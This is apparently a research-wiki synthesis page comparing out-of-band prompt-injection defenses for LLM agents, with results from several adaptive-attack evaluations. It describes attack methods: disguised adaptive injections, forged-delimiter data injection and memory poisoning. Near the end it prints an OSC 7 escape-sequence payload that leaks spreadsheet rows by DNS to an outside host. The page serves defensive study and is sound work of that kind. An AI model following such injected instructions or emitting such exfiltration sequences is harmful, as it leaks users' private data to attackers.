Out-of-Band Prompt-Injection Defense

Sources#

• Adaptive Evaluation of Out-of-Band Defenses Against Prompt Injection in LLM Agents
• Agent Data Injection Attacks are Realistic Threats to AI Agents
• Agentic Permissions Policy Algebra for Taint Confinement in LLM Agents
• AutoDojo: Adaptive Black-Box Attacks Reveal the Limits of IPI Defenses and Task-Specification Effects in LLM Agents
• From Indirect Prompt Injection to DNS Exfiltration in macOS Terminal via ANSI Escape Codes
• NetInjectBench: Benchmarking Indirect Prompt Injection in Tool-Using Large Language Model Agents for Network Operations
• When Agents Remember Too Much: Memory Poisoning Attacks on Large Language Model Agents

Summary#

Narisetty, Kore, Kattamanchi & Kumarapu (LaunchSafe Research, arXiv 2606.26479, June 2026) systematize the second generation of prompt-injection defenses and stress-test them. The framing move: in a tool-using agent, prompt injection is an authorization problem, not a content problem — "the damage is not a bad sentence but an action." The first generation treated it as content (input classifiers, guardrail models, jailbreak detectors, adversarial fine-tuning) and lost: adaptive attackers recover high success against the detectors they were tested on. The second generation gives up on the model and moves enforcement outside it — if the model can't be trusted to refuse, wrap it in a deterministic layer that decides which actions are permitted regardless of what the model was talked into. CaMeL, FIDES, Progent, RTBAS, Conseca, and FORGE all make this move.

The paper's two contributions: (1) organize these systems as instances of classical security primitives — Biba integrity, Anderson's reference monitor, Saltzer–Schroeder least privilege, capabilities, information-flow control — yielding a structured 8-dimension comparison; and (2) warn that every one is validated only on static benchmarks, the exact methodology that made in-band defenses look strong until adaptive attacks broke twelve of them at >90%. It then runs a first adaptive evaluation — an independent reproduction and extension of Progent's own adaptive-attack analysis — on a weak open-weight agent (Qwen2.5-7B on a single H200), a setting Progent's authors did not test. Over three runs the deterministic gate held: mean attack success fell ~6× (25.8% → 4.2%) and a hand-crafted adaptive attack did not raise it (2.6%). This is the vault's first independent, adaptive-evaluation source on injection defense — a counterweight to the statically-benchmarked, vendor-published numbers on Agentic Prompt Injection (spotlighting 50%→<2%, constitutional classifiers 95%).

In-band vs. out-of-band (the two postures)#

• In-band — defenses operating on or inside the model and the channel under attack: input/output classifiers, guardrail models, instruction hierarchies, spotlighting, and adversarial fine-tuning (StruQ, SecAlign). Control and data share one token stream, so "the model follows whichever instruction it reads, injected or not." These provide no guarantee against an adaptive attacker — a structural claim, because the model has no reliable instruction/data boundary (Zverev et al. 2025: current models don't maintain a usable separation, and neither prompting nor fine-tuning reliably induces one).
• Out-of-band — enforcement moved outside the model. The (possibly compromised) LLM proposes an action; a deterministic policy monitor at the point where the action takes effect grants or denies it. Beating it is a different problem than fooling a classifier: "not evade a detector, but drive a consequential action while respecting the policy."

The classical lens (§5)#

The paper reads modern defenses through security's own 1970s vocabulary — not as a discovery (Zhang et al., Bhattarai & Vu, and Shi et al. use the same lens) but because it makes the comparison sharp:

• Biba integrity — reading untrusted (low-integrity) data lowers a subject's effective integrity (Simple Integrity / low-water-mark); a lowered subject may not write up (may not authorize a high-integrity action). Applied to an agent: once the model consumes attacker-influenceable text, it may not authorize a consequential tool call. The only sanctioned upward path is endorsement from a trusted channel.
• Reference monitor (Anderson 1972) — validate every access against policy; must be always invoked (complete mediation), tamperproof, and small enough to verify. Every credible action-level defense is a reference monitor at the tool boundary; the three requirements are a failure vocabulary (a side channel = incomplete mediation; an LLM that authors the policy strains verifiability).
• Saltzer–Schroeder (1975) — complete mediation, least privilege (Least Agency), fail-safe defaults, economy of mechanism map directly onto agent security. The field's preference for a small deterministic policy engine over a model-based judge is economy-of-mechanism plus verifiability.
• Capabilities & information flow — CaMeL's capability tags a value's provenance and permitted readers, checked at tool-call sinks; FIDES's taint labels propagate integrity+confidentiality under a lattice; the classic hard case is implicit flows through control decisions, which is exactly the side channel CaMeL demonstrates against itself.

The defense family (systematization, §6)#

Compared on eight dimensions (D1 enforcement primitive, D2 deterministic-vs-LLM gate, D3 monitor location, D4 integrity/action coverage, D5 confidentiality coverage, D6 implicit-flow handling, D7 cost, D8 retrofit):

System	Primitive	Gate	Retrofit
Dual-LLM	subject separation	deterministic controller	no (rebuild)
CaMeL	capabilities + control-flow integrity	deterministic interpreter	no (rewrite agent)
FIDES	taint labels (confidentiality+integrity)	deterministic sink check	no (adopt planner)
Progent	symbolic privilege rules (least privilege)	deterministic check, LLM-authored policy	yes (proxy mode)
Conseca	JIT policy from trusted context	deterministic	no (planner split)
RTBAS	IFC + screeners	mixed (LM-judge screener)	partial (LLM in loop)
FORGE	Datalog reference monitor	deterministic	yes (no agent change)

Three findings: (1) the gates are deterministic where it counts — the field learned the gate must not be a model; (2) confidentiality and implicit flows are the weak columns — most systems gate actions well and handle exfiltration and side channels poorly; (3) contrary to common impression, retrofit is not the open problem — Progent's proxy mode and FORGE apply without modifying the agent. Reported original numbers: Progent AgentDojo 39.9% → 1.0%, ASB 70.3% → 3.9%; CaMeL solves 77% of AgentDojo tasks under attack (84% undefended) with no successful injections in its threat model, at ~2.8× token cost.

The gap is evaluation, not deployment (§7)#

If deployment is solved and the mechanisms are sound, what's missing? Adaptive evaluation. Every headline number was produced against a static benchmark (AgentDojo's fixed injection set, ASB) — attacks fixed before the defense existed. This is the precise methodology that failed for in-band defenses: StruQ, SecAlign, PromptGuard, and spotlighting all reported near-zero attack success on static benchmarks; then Jia et al. and Nasr et al. let the attacker move second and the numbers inverted — twelve defenses above 90% (spotlighting/sandwiching >95%, PromptGuard/Model Armor >90%, MetaSecAlign 96%, human red-teaming 100%). The static benchmark measured resistance to a known attack set and was read as resistance to attackers. The action-level defenses have deterministic gates — plausibly a harder target — but that is untested at systematic scale: the open question is not "can we deploy a reference monitor" (yes) but "does it hold when the attacker optimizes against it" (unknown).

The empirical result (§11): Progent held on a weak open-weight agent#

Setup: Qwen2.5-7B-Instruct (vLLM, native tool-calling), AgentDojo banking/slack/workspace suites (travel excluded — pathological loops on the 7B), first 8 user tasks/suite held identical across conditions, three repeated runs at temperature 0. Progent in default config, its policy-authoring LLM set to the same local 7B. The adaptive attack (theirs): disguise the malicious action as a benign, pre-authorized, necessary step to make Progent's policy-update model (which widens the allowlist on "benign" tool-result content) authorize the malicious call — targeting the one model-based component of an otherwise deterministic defense.

Attack success rate (mean ± std, n=3; lower safer):

Suite	Undefended	Progent (standard)	Progent (adaptive)
banking	19.0% ± 0.7	1.9% ± 0.7	3.7% ± 1.3
slack	58.3% ± 6.2	10.8% ± 1.2	4.2% ± 1.2
workspace	0.0% ± 0.0	0.0% ± 0.0	0.0% ± 0.0
mean	25.8% ± 2.1	4.2% ± 0.3	2.6% ± 0.04

Findings: (1) Progent is highly effective — ~6× mean reduction, banking near-eliminated. (2) The adaptive attack did not beat it — 2.6% is below the standard attack's 4.2%; the likely mechanism is a confound: the "disguise as benign" framing aimed at the policy model also softened the imperative aimed at the agent, cutting the agent's own compliance more than it gained in policy evasion. (3) Reproducible, and lands in the same ~0.5–4.2% band Progent's authors report in their Appendix E. (4) The contrast with in-band defenses (near-zero → >90% under adaptive attack; here, no movement) is consistent with the two classes differing in kind — a deterministic gate is plausibly a harder target than a detector — but a single weak black-box attack on one weak model cannot establish that. (5) Defense has costs: utility fell (mean ~45% → ~26%) and defended runs required ~15× more LLM calls per task.

Why workspace shows 0% (and is still informative): the injection reaches the model (not a placement bug) and 3/6 injection goals are achievable when asked directly (not impossibility) — the weak 7B agent simply doesn't take the bait on read-only tasks, staying in answer-mode rather than pivoting to the injected multi-step action. Banking and slack have the agent take an action (send money, post), so the injected action rides along. Small agents on read-only tasks tend to resist indirect injection on their own, before any defense.

A second independent test: the ADI attack (Choi et al. 2026)#

Choi et al. (arXiv 2607.05120) run a different attack — agent data injection, which forges trusted data within the agent context (metadata, tool history) via probabilistic delimiter injection rather than injecting an instruction — against this same defense family on an extended AgentDojo (GPT-5.2). The results are the sharpest independent stress-test yet of which columns of the §6 systematization actually hold, and they land squarely on the weak ones this page names (confidentiality/integrity coverage, implicit flows):

• Dual-LLM (CaMeL, no policy): 25.0% (from 49.1% baseline). The delimiter injection fools the quarantine LLM — the one model-based component — into extracting attacker-controlled values, which the deterministic controller then acts on. Fresh evidence for D2 ("the gate must not be a model"): the quarantine LLM is a model, and it is the hole.
• Data-flow tracking (CaMeL): Normal 23.1%, Strict 0%. Normal leaked because a taint-propagation implementation bug dropped labels when the quarantine LLM extracts variables (found and reported to CaMeL's authors). Strict — correct taint tracking with precise policies — is the only evaluated defense that fully stops ADI, at a heavy utility cost (86.5% → 36.5%). This directly corroborates the page's thesis: the complete answer is provenance/data-flow tracking done correctly, and it is expensive.
• Sandboxing (Progent): 22.2%. The deterministic action gate is again the second-best mechanism — but it only blocks ADI where a policy happens to constrain the corrupted argument. An attack that corrupts data the agent legitimately acts on (a spoofed author, a fabricated tool result) can satisfy the action policy while still doing harm, which is the in-the-loop / text-to-text limit (§8, below) made concrete.
• Randomization (nonce field names/IDs): 28.7% at 83.3% utility — the same lightweight, no-policy-LLM option this page notes, effective for key-value formats only.

The lesson reinforces this page rather than contradicting it. A deterministic action gate is a harder target than a detector, but ADI shows it is not sufficient on its own when the attack corrupts the data the agent acts on rather than the action it takes — only correct data-flow/provenance tracking closes that gap, which is exactly the confidentiality/implicit-flow column §6 flags as weak. It is also a caution on CaMeL's headline "no successful injections in its threat model": that held for instruction injection; a within-data attack fools the dual-LLM variant (25%) and the flow-tracking variant absent correct taint propagation (23.1%).

A third independent test: cheap black-box adaptive attack (AutoDojo, Ma et al. 2026)#

AutoDojo (arXiv 2606.15057) is the strongest corroboration yet of this page's central asymmetry, and by a cheaper attacker than Narisetty's hand-crafted adaptive template or Nasr's white-box worst case. It runs a black-box, query-only, six-iteration LLM optimizer against nine defenses on five target models, and the two defense classes split exactly as the in-band/out-of-band framing predicts:

• In-band (filter + prompt-level) defenses collapse. A filter (PIGuard) that scores 0% static ASR is driven back to 28% (64% on action-open tasks) on GPT-4o-mini; DataFilter 12.6%→33.4%, ProtectAI 7.2%→15.4%. Spotlighting, already weak on vulnerable models, offers no adaptive guarantee. This reproduces the Nasr-style "static near-zero, adaptive high" inversion, now under a cheap black-box attacker rather than a white-box one — a much lower bar to clear.
• Out-of-band (action-constraining system-level) defenses hold. Progent (8.2%→7.7%, −0.5) and DRIFT (2.6%→6.4%) barely move off their low static ASR, and they hold across all five models, not just a weak 7B. The paper names this action-constraining family "the most robust in our evaluations" and notes Nasr et al. tested only model-level defenses, never this family.
• Why they hold — and their one structural edge. System-level defenses grow stronger on the very under-specified (action-open) tasks where filters leak worst: a read-only user request yields a trajectory with no write action, so any injected write is blocked regardless of phrasing. Binding actions to the request is a harder target than detecting instruction-like text — this page's thesis, measured a third way.

This directly advances two of this page's open questions. First, it extends the Narisetty result — which the page flagged as possibly an artifact of a weak 7B agent — to five models including stronger ones, where the deterministic gates still hold under adaptive attack. Second, AutoDojo is explicit that it is the weakest realistic adaptive attacker (black-box, tiny budget), so the reported ASR is a lower bound; the white-box / already-authorized-action attack the page names as the next study remains open, and AutoDojo's own §6 flags "reshape the payload to resemble the user's plausible intent" as the natural route to evading action constraints — still untested.

A fourth data point, from the memory side: AM-Sentry (Torres et al. 2026)#

GhostWriter's AM-Sentry is an independently-designed defense that never mentions this literature and reproduces its D2 finding anyway. It gates a long-term memory store at two points — admission (three policy tiers) and retrieval (a screen whose rules include "memories are data, not commands," a Biba invariant in plain English) — and it is the RTBAS row of the §6 table, not the CaMeL/FORGE row: every decision is an LLM judge's score, with fixed arithmetic (V = t × (1 − o), F = 0.6C + 0.4N) downstream doing bookkeeping on model output. Three things follow, all of them this page's thesis measured a fourth way:

• It never reaches zero, and the floor belongs to the judge, not the policy. Strictest policy alone: 15% attack success on ChatGPT/DeepSeek/Gemini, 77% on Llama — the same defense, same rules, a 5× swing purely from the judge model. Adding the retrieval screen brings the end-to-end residual to <12% (20% on Llama). Compare the deterministic gates in the table above, and TMA-NM's 0% at 1.3µs with no model call on the same threat.
• The one place it does reach for a deterministic signal, it fakes. Its Origin / Source trust fields are the right idea — provenance — but scored by an LLM reading the message, not read off an authenticated channel. That is §8.2's provenance-oracle problem instantiated as a model call: the oracle is the thing under attack, and an internal adversary who reads as internal raises o and drives the vulnerability term to zero.
• A judge watching a judge. The strictest tier adds a second LLM whose only job is to detect whether the first LLM was prompt-injected — the reference monitor's "small enough to verify" requirement abandoned outright.

The same paper supplies the in-band column too: two published prompt-injection detectors run against its payloads score 0% (DataFilter, a trained model) and 85%→6% (PromptArmor, prompt-only, collapsing the moment the payload is phrased politely instead of imperatively). The caveat cuts the other way from the sections above, though — AM-Sentry was evaluated only against a non-adaptive attacker, with hand-chosen weights, so its 12–20% is the static number, the one this page argues is an upper bound on safety rather than an estimate of it.

A fifth data point, on cost: the deterministic gate is the cheap one (NetInjectBench)#

NetInjectBench (Shayoni et al., arXiv 2607.10490, empirical, full treatment there) is the corpus's second independently-built deterministic argument-value gate, in network operations. Its safety result belongs on that page; what belongs here is what it does to this page's cost question, because it inverts the assumption the ~15× figure created.

Its seven-method ladder over 240 attack instances runs naive 82.50% → prompt-only 25.63% → Self-Reminder 21.67% → Spotlighting 18.33% → Two-Pass LLM Judge 10.00% → static allowlist 5.00% → metadata-aware policy gate 0.00% (95% Wilson [0, 1.58%]). Two cost readings:

• Enforcement did not cost utility here — it bought it. Useful-action rate on attack scenarios goes up monotonically down the ladder, 16.67% naive → 99.17% for the gate, with 98.33% on benign scenarios and 100.00% on legitimate approved high-impact changes. The mechanism is a design choice this page's systematization does not have a column for: a failed check does not terminate the task, it substitutes a safe fallback (fetch_logs → get_telemetry → search_runbook → open_incident_ticket). A blocked attack still produces a useful diagnostic action, so blocking is nearly free. Compare Progent's ~45%→~26% and CaMeL Strict's 86.5%→36.5%, both of which pay utility for the same safety.
• The ~15× LLM-call overhead is a property of the LLM-authored policy, not of deterministic enforcement. This gate is plain code consulting a trusted metadata record and adds zero model calls. The methods that add inference here are the weaker ones: the Two-Pass LLM Judge doubles calls and plateaus at 10.00%, and Table 14's normalization rate (76.92% for naive direct-LLM methods, 0% for the deterministic post-processors) shows where the pipeline expense actually sits. So the honest split on the open question below is: enforcement is cheap; policy authorship is what costs, and Progent pays for it in inference where NetInjectBench pays for it by inheriting an existing change-management record.

Both caveats that make this a partial answer are large: the gate governs a six-tool environment with one dominant high-impact write, and the utility numbers come from three 7–8B open models at temperature 0 against an entirely static attacker. Fallback-instead-of-deny is also not free in general — a fallback is itself a permitted call, which is precisely the multi-step tool-output-poisoning surface the authors put out of scope.

A sixth data point, on the utility cost of IFC: APPA branches instead of tainting (Archestra AI, 2026)#

Kravchenko, Liventsev, Konstantinov, Iskhakov & Kukuy (all at Archestra AI, arXiv 2607.24625, 2026-07-27, empirical) attack the label-creep problem that makes the flow-tracking column of §6 — the column ADI showed is the only complete answer — so expensive. In dynamic IFC (FIDES, CaMeL), reading restricted data permanently lowers the trajectory's label, revoking downstream tools for the rest of the task. APPA (Agentic Permissions Policy Algebra) is the first source here to attack that cost structurally rather than by loosening the policy.

COI note. All five authors are at Archestra AI, an agent-security vendor; APPA is their own design, evaluated on their own benchmark against baselines they selected. The split used below: the formal results are checkable (proofs in Appendix A; the remedy planner is additionally cross-checked by property-based tests against an independently implemented reference planner) and are treated as stated. The comparative utility claims are self-evaluated and attributed inline throughout. Note also which baselines were actually run — only Fides (Microsoft Agent Framework, both guarded and open arms) and APPA's own open/no-fork arms. CaMeL, ACE, MemLineage and TACIT are cited in Table 1 and never executed, so the paper makes no measured comparison against the ~50pp CaMeL Strict figure it is implicitly answering.

The two mechanisms#

• Branching for taint confinement. A restrictive read is delegated to a disposable child trajectory, seeded from the parent's current label (L_c:= L_p^init) plus the model-visible transcript prefix up to the branch boundary. Child actions fold only into L_c; the parent label and transcript are untouched until an explicit submit_result(v) merge, which sets L'_p = L_p ∧ label(v). Exit takes one of three forms: abandon, return a raw labeled value (safe, but propagates the restriction to the parent — no confinement gained), or apply a registered sanitizer / verified exit transformation producing a bounded derivative. Seeding the child from the parent's label is called out as security-essential: an unconstrained child label would be a laundering path for data already reflected in the parent's label. Because the child shares an exact token prefix with the parent, branching is prompt-cache friendly — an explicit efficiency argument against Dual-LLM/multi-agent verifiers that must re-synthesize context (see Context Lifecycle Management for the same fork-work-merge shape driven by cost rather than security).
• Prospective acquisition enforcement. Each tool carries a declared contract: a label delta, an emits sequence of effect tokens, and requires preconditions (trust floor, audience cover, source bounds, history predicates over an append-only event log, hard gates). Before dispatch the engine computes the prospective label c_τ(L) = L ∧ d_τ and blocks if it would narrow — so the check happens before the untrusted bytes enter the trajectory, where FIDES hides restrictive fields after the call returns. A block is not a dead end: the planner emits a structured remedy plan combining an Accept (agent accepts the narrowing) with any needed Authorize rulings, executed atomically through a execute_remedy_plan(plan_id) tool registered at run start specifically so it does not invalidate the prompt cache.

Two design details worth keeping. The Accept step comes from the policy-untrusted LLM — which is safe only because Accept accepts restriction, and label updates are monotone descents, so an injected Accept can never widen anything; the paper decouples the two axes explicitly ("an external policy ruling cannot accept state narrowing on behalf of the agent, and agent acceptance cannot satisfy an unmet tool requirement"). And branching is deliberately excluded from the mechanisms that clear an acquisition block — a child inherits the parent's label and therefore cures nothing; the planner may only recommend a branch, never plan one.

Table 1: where APPA sits among the IFC/structural defenses#

The paper's own positioning (verified complete — six systems, four columns), and the readiest comparison row this thread has for the §6 systematization:

System	Flow / security basis	Trajectory-taint strategy	State scope	Declassification & overrides
Fides	dynamic conf./integ. labels	hide restrictive fields in planner variables post-return	per execution	high-integrity policy or constrained reveal
CaMeL	structural dual-LLM pipeline	strict prompt sandboxing; isolated data/control roles	per execution	multi-role approval interface
ACE	abstract–concrete two-phase execution	static flow-graph verification over the abstract plan	per execution	abstract plan re-verification
MemLineage	signed entries + derivation DAG	gate dispatch on memory ancestry DAG	across memory and sessions	deployment-configured deny/repair
TACIT	static capabilities & capture checking (Scala 3)	synthesize capability-safe agent code	per program compilation	explicit capability delegation
APPA	declared contracts, label fold, shared event log	prospective check; engine-managed isolated child branches	per run; shared across context branches	checked branch exit or atomic ruling over one rendered call

The state scope column is the axis to hold onto: APPA is explicitly per-run. Its labels and event log govern a single trajectory tree and die with it — the paper positions MemLineage as supplying persistent provenance at APPA's boundary, not as something APPA subsumes. Against what MemSecBench measures about cross-session persistence, that is a real scope limit, not a footnote.

What is proven vs. what is measured vs. what is assumed#

Proven (Appendix A, over the algebra — "no theorem below depends on model behavior"):

• Prop 3.1 / 3.2 — folding restrictive actions collapses to one running meet, and trajectory labels descend monotonically over a finite lattice, settling after at most |U| + |T| − 1 strict descents. (Settlement is permission stabilization, not termination.)
• Thm 6.1 (branch taint confinement) — admitted child actions never modify L_p; abandonment performs no parent transition; a return performs the sole transition L'_p = L_p ∧ label(v), so the parent is preserved exactly iff L_p ≤ label(v). Explicitly holds "independently of child prompt, plan, or behavior."
• Thm 5.1 (call-scoped release) + Cor. A.1 — a ruling is atomically created and consumed by exactly one rendered dispatch; rulings and acceptances are the identity on every trajectory label and on the committed-effect projection. So an authorized override widens no later label and confers no authority on any other call, and a child value exported to the parent still needs a fresh parent-side ruling to be released.
• Thm 4.1 (remedy completeness) — the weakest of the four and honestly scoped: an empty planner verdict proves the blocked call is unreachable within the planner's finite modeled transition system, with several run classes explicitly excluded (sanitizer argument substitution, cast resolution of an Unknown dimension, mid-checkpoint interleavings, reported-success closes that withhold their value). Excluded runs stay fully enforced; only the empty verdict's coverage is bounded.

What all of that proves is label propagation and authority accounting: untrusted data cannot silently widen the parent's permissions, and an authorized exception cannot leak into a second call. What it does not prove is that any given label is the right label.

Assumed — where the trust boundary actually sits. The paper is unusually clean about this: "the engine, engine configuration, registered authorities, and registered transformations constitute the trusted computing base." Three named load-bearing assumptions, and two of them broke in the authors' own evaluation:

1. Declared tool contracts are complete. "Prospective enforcement is only as complete as the contracts it evaluates." Their joint-merger-brief breach is exactly this: the agent copied an HR value into the finance store via a create_finance tool the scenario policy declared with no sink requirement, then read it back under the finance contract. A missing write-side contract is a store-mediated laundering path, and the fix named is a policy-authoring discipline (require store-writing tools to declare sink requirements), not a mechanism.
2. Registered sanitizers are correct. Stated flatly: "sanitizer correctness resides within the TCB." Schema validation alone is explicitly said never to relax a label ("structural compliance does not guarantee safe provenance"), so maintaining the parent's trust level requires a verified transformation assertion — e.g. asserting that a returned integer really is a version number from the named source containing no unparsed text. Registering such a transformation "incorporates its claim into the trusted computing base," and the paper calls it APPA's sole exception for structured label promotion without an explicit ruling. That single sentence is where the security rests: the whole architecture converts an unbounded taint problem into a bounded set of human-asserted claims, and the assertions are asserted, not checked.
3. Registered authorities rule correctly, with human approval fatigue named as unmeasured future work. One structural guard here worth noting: a response-sink rule forbids any primary-user ruling from authorizing a predicate for the direct user-response sink, preventing in-band self-approval.

Out of scope by declaration: covert timing channels from an actively malicious model; content confinement inside an authorized send (the hide-secret-in-status breach — a smuggled token riding a permitted flow to finance-lead@, a legitimate finance reader, which "a label algebra over recipient sets does not claim to provide"); and transactional rollback — a child's committed external egress is visible tree-wide, cannot be reverted by abandoning the branch, and cannot be cleared from future no_prior checks.

The measurement (bench-corp, Table 3)#

Their own benchmark: 14 scenarios over a mock corporate environment (5 CRUD stores + an email egress sink, 17 tools), 3 repetitions, four models via OpenRouter on 2026-07-25 at provider-default sampling. Utility over 13 utility-bearing scenarios (39 episodes), ASR over all 14 (42). Scored by declarative end-state string predicates, not an LLM judge, with residual filesystem state scored even after timeouts. Five arms; APPA vs APPA-no-fork share a binary, policy and harness and differ only by --max-forks 0, which makes branching's contribution causally isolated.

Model		APPA	APPA-no-fork	APPA-open	Fides	Fides-open
Gemini 3.5 Flash-Lite	utility	44%	28%	56%	33%	85%
	ASR	0%	0%	31%	29%	50%
GPT-5.6 Luna	utility	95%	69%	92%	41%	92%
	ASR	2%	0%	36%	29%	36%
GPT-4o	utility	59%	59%	85%	56%	85%
	ASR	7%	7%	50%	29%	50%
Qwen 3.6 35B	utility	72%	54%	92%	44%	90%
	ASR	0%	2%	43%	29%	43%

Four readings:

• Branching buys utility, not security. ASR is essentially identical between APPA and APPA-no-fork (0/0, 2/0, 7/7, 0/2) — the 31–50% → 0–7% suppression comes from the label enforcement, which the no-fork arm already has. The utility gap is where branching lives: 69→95 (Luna), 28→44 (Gemini), 54→72 (Qwen), 59→59 (GPT-4o, which converts 4 of 9 branch-dependent episodes but loses four elsewhere to mediation overhead). Cleanly separating the security claim from the utility claim is the strongest thing about the design.
• On the best model, guarded enforcement is free. GPT-5.6 Luna: 95% utility at 2% ASR, versus 92%/36% under the null policy — more utility than unenforced. On the other three, enforcement costs 5, 8 and 10 episodes out of 39 (13–26pp). So the residual cost of full IFC here is 0–26pp of episodes, not ~50pp — but see the caveats below before reading that as a refutation of CaMeL Strict.
• Fides is a weak baseline, and the paper says so. It "cannot represent APPA's recipient sets, history predicates, or branching," and its ASR is identical at 12/42 (29%) on all four models — which the authors correctly read as "a deterministic policy mismatch rather than model-dependent susceptibility." Those 12 breaches are scenarios Fides's policy language cannot express, not injections that defeated it. Its 33–56% utility is therefore evidence about expressiveness, not about taint tracking's intrinsic cost.
• (My reading, flagged for spot-checking — not the paper's framing:) most of the measured branching gain sits inside scenarios built to require branching. Three of the fourteen scenarios are declared "structurally branch-dependent (unwinnable without context branching)" = 9 episodes. The branching gains are 6 (Gemini), 7 (Qwen), 10 (Luna) episodes — i.e. two of three fit entirely inside the by-construction set and the third exceeds it by one. The causal isolation between the arms is genuine; what it isolates is largely the benchmark's own premise. The generalizable claim is narrower than "branching recovers utility": it is "on tasks that require inspecting restricted data and later doing something unrelated, branching is what makes both possible" — which is exactly the workload shape the authors argue AgentDojo lacks.

Their AgentDojo negative result is the most valuable honesty in the paper, and it cuts against their own numbers. They instrumented all four AgentDojo suites and report it cannot discriminate this mechanism at all: GPT-5.6 Luna never complied across 160 undefended episodes (GPT-4o complied 31%), so any defense scores 0% whether or not it does anything; and AgentDojo's read-then-act single-goal tasks have no later benign action depending on the parent label, so preserving it changes no outcome. Then the cost figure: on AgentDojo, enforcement drops utility to 47% vs 77% (GPT-4o) and 67% vs 88% (Luna) — and of the 32 GPT-4o tasks lost, only 8 are policy blocks; 24 are mediation overhead in their own harness. So on a third-party benchmark the same system costs 21–30pp, three quarters of it implementation friction rather than policy. The bench-corp numbers are the mechanism-probe result; the AgentDojo numbers are closer to what a retrofit would feel like.

Two more caveats the authors state: bench-corp is synthetic and purpose-built to probe APPA's own primitives, and high scores "do not imply general performance on unconstrained real-world workloads"; and one further model (Gemini 3.1 Flash-Lite) was excluded for traces dominated by native retry behavior. Unmeasured entirely: latency, token overhead, long-horizon behavior, approval fatigue, and policy-authoring ergonomics — all four named as future work.

The attacker is static — and this is the first source where that may not be the right question#

Every attack in the evaluation is fixed and defender-authored: five bench-corp scenarios embed indirect prompt injections in public-forum content, plus AgentDojo's fixed tool_knowledge set. No optimizer, no feedback loop, no defense-aware adaptation. By this page's own standard that makes 0–7% an upper bound on safety, not an estimate of it.

But the standard may not transfer, and saying why is worth more than the number. Every result this page has catalogued so far was a rate produced by a mechanism whose behavior depends on inputs — a detector's threshold, a policy model's willingness to widen an allowlist, a judge's score — and adaptive pressure moves rates. Theorems 5.1 and 6.1 quantify over all trajectories and all child behavior; "no theorem below depends on model behavior." An adaptive attacker whose only lever is what the model reads has nothing to optimize against there: no prompt makes a meet operation fail to be a lower bound.

(My synthesis, flagged for spot-checking:) what an adaptive attacker gets instead is the complement of the guarantee, and APPA enumerates it more usefully than most defenses do — because both of its own residual breaches are in it, and neither is an enforcement bypass:

1. Contracts that don't declare a sink (joint-merger-brief) — a write/read laundering path through a store. The target is the policy artifact, not the prompt.
2. Flows that are genuinely permitted (hide-secret-in-status) — content smuggled inside an authorized send to an authorized reader. This is precisely the corrupt-legitimately-variable-data residual ScopeGate and Progent share, arriving one more time by a different route.
3. The transformation assertion — a human claim about a sanitizer's output, taken into the TCB unverified.
4. The authority — approval fatigue, unmeasured.
5. Covert channels — out of scope by declaration.

So the honest form of this page's central asymmetry gets sharper. It is not that deterministic gates are harder to attack than detectors; it is that a structural guarantee relocates the adaptive attacker's target off the model and onto the policy artifacts and the TCB. AutoDojo measured that relocation from the outside (action-constraining defenses barely move under black-box adaptation); APPA explains it from the inside. What follows is that adaptive evaluation of this defense class should stop optimizing prompts and start attacking contract coverage — which is a policy-completeness audit, not a red-team exercise, and which nothing in this corpus yet does.

What remains even if the defenses hold (§8)#

Limits that hold by construction, inherited by any adopter:

• Adaptive evaluation is still missing as a standardized, independent, cross-system protocol (this paper discharges it for one defense).
• Provenance assignment is the under-specified trusted base — every labeling scheme rests on an oracle that assigns initial provenance, and the universal simplification is "the primary user's input is trusted." If a user is tricked into pasting untrusted content, the labels are wrong at the source. This is the same trusted-base problem as memory integrity/source attribution.
• In-the-loop tasks are the deepest open problem — many real tasks require acting on untrusted content ("read this email; if it's a meeting request, add it to my calendar"). The current answer is to ask the user to endorse the action, which reintroduces a human judgment an attacker can target and produces approval fatigue. No principled account of which in-the-loop tasks are securable exists.
• Text-to-text harms — action mediation does nothing about a poisoned document that yields a misleading summary, or an injected instruction to the user (CaMeL states this as an explicit non-goal). This undefended channel grows as agents produce more text people act on.
• Implicit flows / side channels — CaMeL demonstrates working side channels against itself; sound handling pulls against the small-and-verifiable reference-monitor ideal.

A field instance of the side-channel limit: the sink that isn't a tool call#

Johann Rehberger (wunderwuzzi, Embrace The Red, 2026-07-16, case-study) documents a working chain from indirect prompt injection to zero-click data exfiltration that never touches the tool boundary this page's whole defense family mediates:

1. A payload injected into a spreadsheet cell instructs an LLM-integrated CLI tool (dillma.py) to pull names from earlier rows.
2. The model emits them inside an OSC 7 ANSI escape sequence — \e]7;file://DATA.<stolen-rows>.oast.live/\a — as ordinary stdout.
3. macOS Terminal resolved that sequence as a hostname, issuing a DNS query that carried the stolen data in the domain label. No click, no confirmation, no tool invocation.

(My reading, not the post's claim:) this is the §6 "confidentiality / implicit flows are the weak columns" finding in its sharpest field form, and it is a complete-mediation failure by placement rather than by evasion. Every system in the table above — CaMeL's capability check at tool-call sinks, FIDES's sink labels, Progent's per-call rules, FORGE's Datalog monitor, and the per-call value gates downstream of them — grants or denies an action the model proposes as a call. Here the egress is the model's own rendered output, and the renderer is a sink none of those monitors enumerate. A reference monitor can be perfectly deterministic, tamperproof, and small, and still mediate the wrong interface. It is the Least Agency premise's counterexample too: the agent needed no tool and no agency at all, so scoping what its tools may do bounds nothing — and by the same token it is a case Blast Radius (Agentic) doesn't price, since every containment mechanism there scopes what an agent can reach, not what it can print.

The remediation is correspondingly at a third control point — neither the model nor the action gate, but the renderer. Apple removed Terminal's DNS-triggering behavior in macOS Tahoe 26.1 (2025-11-03), on a December 2024 report, crediting Rehberger in the release notes. Rehberger's general prescription for anyone displaying model output is encode control characters by default (caret notation, as cat -v does), with raw terminal output an explicit opt-in.

Two boundaries on how far to carry this. First, what is patched is macOS Terminal's OSC 7 DNS behavior, not the class: any renderer that acts on control sequences in agent output — other terminals, log viewers, chat clients, notebook front-ends — remains a candidate sink, and the post argues from the fix rather than surveying who else is affected. Second, the evidence tier is thin: one researcher's PoC against a purpose-built demo CLI, with no ASR, no model comparison, and no measurement of how reliably a model can be induced to emit a well-formed escape sequence. Treat it as an existence proof of an ungated egress channel, not as a rate.

Independence and balance#

